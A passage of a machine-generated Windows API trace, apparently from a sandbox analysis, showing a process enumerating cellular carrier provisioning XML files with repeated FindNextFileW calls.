lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="140__C~1.PRO")) returned 1 [0123.327] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="141__C~1.PRO")) returned 1 [0123.327] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="142__C~1.PRO")) returned 1 [0123.334] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9058f44f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9058f44f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9058f44f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x0, dwReserved1=0x0, cFileName="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", cAlternateFileName="143__C~1.PRO")) returned 1 [0123.334] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", cAlternateFileName="144__C~1.PRO")) returned 1 [0123.334] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", cAlternateFileName="145__C~1.PRO")) returned 1 [0123.334] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="146__C~1.PRO")) returned 1 [0123.336] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="147__C~1.PRO")) returned 1 [0123.336] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="148__C~1.PRO")) returned 1 [0123.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="149__C~1.PRO")) returned 1 [0123.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", cAlternateFileName="14__CO~1.PRO")) returned 1 [0123.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="150__C~1.PRO")) returned 1 [0123.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="151__C~1.PRO")) returned 1 [0123.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="152__C~1.PRO")) returned 1 [0123.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", cAlternateFileName="153__C~1.PRO")) returned 1 [0123.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="154__C~1.PRO")) returned 1 [0123.337] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", cAlternateFileName="155__C~1.PRO")) returned 1 [0123.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="156__C~1.PRO")) returned 1 [0123.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="157__C~1.PRO")) returned 1 [0123.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="158__C~1.PRO")) returned 1 [0123.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="159__C~1.PRO")) returned 1 [0123.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml", cAlternateFileName="15__CO~1.PRO")) returned 1 [0123.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml", cAlternateFileName="160__C~1.PRO")) returned 1 [0123.338] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90627dfd, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90627dfd, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90627dfd, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml", cAlternateFileName="161__C~1.PRO")) returned 1 [0123.341] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2df, dwReserved0=0x0, dwReserved1=0x0, cFileName="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", cAlternateFileName="162__C~1.PRO")) returned 1 [0123.341] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="163__C~1.PRO")) returned 1 [0123.342] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="164__C~1.PRO")) returned 1 [0123.342] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="165__C~1.PRO")) returned 1 [0123.342] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", cAlternateFileName="166__C~1.PRO")) returned 1 [0123.342] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="167__C~1.PRO")) returned 1 [0123.342] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="168__C~1.PRO")) returned 1 [0123.342] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", cAlternateFileName="169__C~1.PRO")) returned 1 [0123.342] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", cAlternateFileName="16__CO~1.PRO")) returned 1 [0123.342] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml", cAlternateFileName="170__C~1.PRO")) returned 1 [0123.343] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", cAlternateFileName="171__C~1.PRO")) returned 1 [0123.343] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", cAlternateFileName="172__C~1.PRO")) returned 1 [0123.343] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", cAlternateFileName="173__C~1.PRO")) returned 1 [0123.343] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9069a53c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9069a53c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9069a53c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="174__C~1.PRO")) returned 1 [0123.343] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="175__C~1.PRO")) returned 1 [0123.343] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", cAlternateFileName="176__C~1.PRO")) returned 1 [0123.343] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", cAlternateFileName="177__C~1.PRO")) returned 1 [0123.346] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="178__Connections_Cellular_3 